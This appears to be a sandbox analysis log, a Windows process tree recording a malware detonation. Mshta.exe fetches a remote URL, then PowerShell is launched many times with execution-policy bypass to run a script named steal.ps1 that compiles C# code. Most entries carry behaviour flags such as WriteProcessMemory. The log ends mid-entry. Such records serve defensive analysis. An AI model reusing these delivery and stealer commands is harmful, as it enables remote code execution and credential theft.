- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,14065316466550385300,15996061892592095758,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:14
  2⤵
  PID:3292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4228,i,9104050517332964619,14522949647817082963,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:14
  2⤵
  PID:1560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3396,i,7034272145801476469,12667286350114595815,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=760 /prefetch:14
  2⤵
  PID:1524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3652,i,17926072821197817495,13349795961395673348,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
  2⤵
  PID:5060

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2836

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://abysschecker.com/start
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5lv5nwcy\5lv5nwcy.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2776
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E55.tmp" "c:\Users\Admin\AppData\Local\Temp\5lv5nwcy\CSCD8B815385D6A45F3A9775B47431AD5C1.TMP"
        5⤵
        
        PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\55jvjfng\55jvjfng.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3396
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES473C.tmp" "c:\Users\Admin\AppData\Local\Temp\55jvjfng\CSCF549EBC7CA0949F684B8161CCEAE5D46.TMP"
        5⤵
        
        PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hqvdgqcn\hqvdgqcn.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3180
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES61E8.tmp" "c:\Users\Admin\AppData\Local\Temp\hqvdgqcn\CSC67003AE814F84E7B8027B351E3F47026.TMP"
        5⤵
        
        PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cm450oty\cm450oty.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2124
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7AA0.tmp" "c:\Users\Admin\AppData\Local\Temp\cm450oty\CSC5FEA9C0765DD431EBDCC642AC92CBA72.TMP"
        5⤵
        
        PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jtjzlzjf\jtjzlzjf.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2248
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D6C.tmp" "c:\Users\Admin\AppData\Local\Temp\jtjzlzjf\CSC44C23832DC74F3381B6D14AEA48854.TMP"
        5⤵
        
        PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xwudk5mk\xwudk5mk.cmdline"
      4⤵
      PID:3312
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA029.tmp" "c:\Users\Admin\AppData\Local\Temp\xwudk5mk\CSC23150FE19F8442D984C6399CABF87B21.TMP"
        5⤵
        
        PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xj1so4nz\xj1so4nz.cmdline"
      4⤵
      PID:3680
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB1CD.tmp" "c:\Users\Admin\AppData\Local\Temp\xj1so4nz\CSC7BD7DD10705D40948443FE94E1F87170.TMP"
        5⤵
        
        PID:3248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e3odm3nz\e3odm3nz.cmdline"
      4⤵
      PID:4656
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6AD.tmp" "c:\Users\Admin\AppData\Local\Temp\e3odm3nz\CSCFFD67CFAC8304882A02E5C1E579EE62.TMP"
        5⤵
        
        PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ikvu3yaf\ikvu3yaf.cmdline"
      4⤵
      PID:1184
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8FC.tmp" "c:\Users\Admin\AppData\Local\Temp\ikvu3yaf\CSCD37875812B1A417F9C436F362E7FE42E.TMP"
        5⤵
        
        PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nqrdfi5v\nqrdfi5v.cmdline"
      4⤵
      PID:5076
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFDF.tmp" "c:\Users\Admin\AppData\Local\Temp\nqrdfi5v\CSC1939F4E7B365486B92B7CDC19BB448D.TMP"
        5⤵
        
        PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3908
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0tnw3nj3\0tnw3nj3.cmdline"
      4⤵
      PID:580
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES339.tmp" "c:\Users\Admin\AppData\Local\Temp\0tnw3nj3\CSC998BAEA038AF42BBA753F8E5D488AC0.TMP"
        5⤵
        
        PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3248
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w1ybp4zj\w1ybp4zj.cmdline"
      4⤵
      PID:4988
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES13E2.tmp" "c:\Users\Admin\AppData\Local\Temp\w1ybp4zj\CSCD867051D2A594E21A22DB44832929199.TMP"
        5⤵
        
        PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3472
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m0gwlkeo\m0gwlkeo.cmdline"
      4⤵
      PID:1580
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES26FD.tmp" "c:\Users\Admin\AppData\Local\Temp\m0gwlkeo\CSC730F6C4D6D1B42BB91F7A65BAC835FFE.TMP"
        5⤵
        
        PID:4588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k25qdpzl\k25qdpzl.cmdline"
      4⤵
      PID:5108
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3833.tmp" "c:\Users\Admin\AppData\Local\Temp\k25qdpzl\CSCCB347BB410BE47E19BC96BC353F57CC0.TMP"
        5⤵
        
        PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\heabxyep\heabxyep.cmdline"
      4⤵
      PID:4052
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A73.tmp" "c:\Users\Admin\AppData\Local\Temp\heabxyep\CSC28555E231B244750BA52233817C3F65.TMP"
        5⤵
        
        PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5teziqpx\5teziqpx.cmdline"
      4⤵
      PID:4416
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6379.tmp" "c:\Users\Admin\AppData\Local\Temp\5teziqpx\CSCAF6677E852B2430EAB445E5F4CCC1ADD.TMP"
        5⤵
        
        PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wdkx4tdv\wdkx4tdv.cmdline"
      4⤵
      PID:3044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7471.tmp" "c:\Users\Admin\AppData\Local\Temp\wdkx4tdv\CSCCD96B4486C97486FBEF66E1194CA19CA.TMP"
        5⤵
        
        PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pippfd5a\pippfd5a.cmdline"
      4⤵
      PID:4764
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8549.tmp" "c:\Users\Admin\AppData\Local\Temp\pippfd5a\CSCAD6A08EF1DD74869B36214D96252974A.TMP"
        5⤵
        
        PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fywuecfe\fywuecfe.cmdline"
      4⤵
      PID:4736
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9660.tmp" "c:\Users\Admin\AppData\Local\Temp\fywuecfe\CSCFDE8BC246C664FEC91944D8F225915F0.TMP"
        5⤵
        
        PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cefcglsr\cefcglsr.cmdline"
      4⤵
      PID:760
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA9BA.tmp" "c:\Users\Admin\AppData\Local\Temp\cefcglsr\CSC4492F0154CFA40BEA3F0D3E16E881E9.TMP"
        5⤵
        
        PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4428
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nb1fy5ks\nb1fy5ks.cmdline"
      4⤵
      PID:1224
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBAB.tmp" "c:\Users\Admin\AppData\Local\Temp\nb1fy5ks\CSC6821A284509049C693DA47AB4560C6CD.TMP"
        5⤵
        
        PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
